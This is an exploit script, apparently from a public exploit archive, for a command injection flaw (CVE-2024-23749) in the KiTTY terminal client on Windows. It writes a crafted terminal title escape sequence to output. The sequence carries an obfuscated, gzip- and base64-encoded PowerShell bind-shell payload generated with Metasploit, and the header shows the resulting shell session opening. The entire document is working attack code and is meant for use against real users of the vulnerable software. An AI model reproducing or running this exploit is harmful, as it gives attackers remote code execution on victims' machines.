KiTTY 0.76.1.13 Command Injection

`#!/usr/bin/python  
  
#----------------------------------------------------------------------------------------#  
# Exploit: KiTTY ≤ 0.76.1.13 Command Injection Vulnerability in KiTTY #  
# Get Remote File Through SCP Input (CVE-2024-23749) #  
# OS: Microsoft Windows 11/10/8/7/XP #  
# Author: DEFCESCO (Austin A. DeFrancesco) #  
# Software: #  
# https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip #  
#----------------------------------------------------------------------------------------#  
# More details can be found on my blog: https://blog.DEFCESCO.io/Hell0+KiTTY #  
#----------------------------------------------------------------------------------------#  
# msf6 payload(cmd/windows/powershell_bind_tcp) > to_handler #  
# [*] Payload Handler Started as Job 1 #  
# msf6 payload(cmd/windows/powershell_bind_tcp) > #  
# [*] Started bind TCP handler against 192.168.100.28:4444 #  
# [*] Powershell session session 1 opened (192.168.100.119:36969 -> 192.168.100.28:4444) #  
#----------------------------------------------------------------------------------------#  
  
import os  
import sys  
  
#-----------------------------------------------------------------#  
# msf6 payload(cmd/windows/powershell_bind_tcp) > generate -f raw #  
#-----------------------------------------------------------------#  
  
shellcode = b'powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create'  
shellcode += b'((New-Object System.IO.StreamReader(New-Object System.IO.Compression.G'  
shellcode += b'zipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBa'  
shellcode += b'se64String(((\'H4sIAE7efGUCA5VVTW/b{2}BC{1}+1cMD{2}1GQiTCDXoKkGJdNV0Ey'  
shellcode += b'LZGlTYHw0BoahxrQ5NekoptJP7vJSXqw3\'+\'GCbXWwJc7w8fHNG3JRCmYKKeBvNMktzh'  
shellcode += b'kvUBgYPA3APsGG\'+\'wQV8wU3ydf4vMgPJzW6NX+gK7aAhNj+t8ptk8l3jJ1zQkptUYW4'  
shellcode += b'jBeXa\'+\'QgRGld\'+\'hmTZTc7siLDDveG2lyB/vBoqG4lhtU{1}suygyo+oYquwvp{1'  
shellcode += b'}mhlViPtZkMrVioo8PhzNNGdSvBj8JDeCS5pXo5HHVJKh1u\'+\'AFWMm85{2}gI/hVGUK'  
shellcode += b'cUCwibZSDB/2A4L0Q+jKpgPa+aywttUKCy\'+\'k6fZzr6viFMtk+wBjSY3bH3tM2bv7XM'  
shellcode += b'8kWhDlXHr\'+\'+pWrqC/RRS{1}vzBiujQWsyxHWVPZv0VX4iErjMeMWulfy15inE7/QcB'  
shellcode += b'g76n6{1}Qa2ZNgrpyhGs8Yj1VlaNWWIdpbokNSNnj6GvQI+P1jxrwN6ghKxUhdmRrEkN/f'  
shellcode += b'pxsLA+wjh8Cm4s+h4SqmF6M{2}cbrqTBFJUpFgWjBn{1}QXuTUmS2lnM8pe5hF0St0yLg0'  
shellcode += b'S+dUN2ms{2}zECUXIeDw3X786GnkEfoFWm21lfuul8Z3A6mwXu35luRMjZyD7PfzyN{\'+'  
shellcode += b'\'1}l5dFHkTDqcGt4agYDJ3jj4/H2fp1VXkFP/ocsLhrbWm3GiYu{2}bJlsg5qFIImw\'+'  
shellcode += b'\'1Wj1Jbew7hFAIUj+fuS7jmPrVjtjRtgMnVujRd8E6kcr\'+\'1Txf3SQJhG8E/BlNRyY'  
shellcode += b'SCVai1VJSGBsVvMJWlQaLEfMSd34k5443k5yK0tBobdxuJR3H2Qax\'+\'T3Ztk3Tt{2}2'  
shellcode += b'fesc{2}ef3VJqezuDaQjpZfMuTlufvc21mfZbqkrKl5VyDQiHaI6XL6mi7Jzw4iSPS7LY+'  
shellcode += b'tBqk6PlKPMoHTC63a6uttnq3KPu+pTbLgmMYBkXlunoT35DmYe2xGEYxBAfsI0gEwuhI0k'  
shellcode += b'unH+Y3Vsu3LgXfmC6FVBpfes07FNte1FHpofnzodpd\'+\'IyoERfSimrYbXTGP{1}g1Jc'  
shellcode += b'7\'+\'jV4Gcf/nwHz/C1NEmNCt48B1BnUAnSAJ/CySSDE/tf6X8tWeXhiEyoWbroBzjpQL'  
shellcode += b'a{2}SIBKSTUdzQ4W67Gu4oRxpCqMXmNw0f+wrbYdHBv4l/zbwfyvY/uGPfJrM+czL/Wyve'  
shellcode += b'/8weMP85RLjX4/VTs2t1DfMN3VlBm5bu4j/2ud2V7lbe3cFfoTVXnPBo0IAAA{0}\')-f'  
shellcode += b'\'=\',\'9\',\'O\')))),[System.IO.Compression.CompressionMode]::Decompr'  
shellcode += b'ess))).ReadToEnd()))\"'  
  
escape_sequence = b'\033]0;__rv:'  
escape_sequence += b'" & '  
escape_sequence += shellcode  
escape_sequence += b' #\007'   
  
stdout = os.fdopen(sys.stdout.fileno(), 'wb')   
stdout.write(escape_sequence)  
stdout.flush()  
`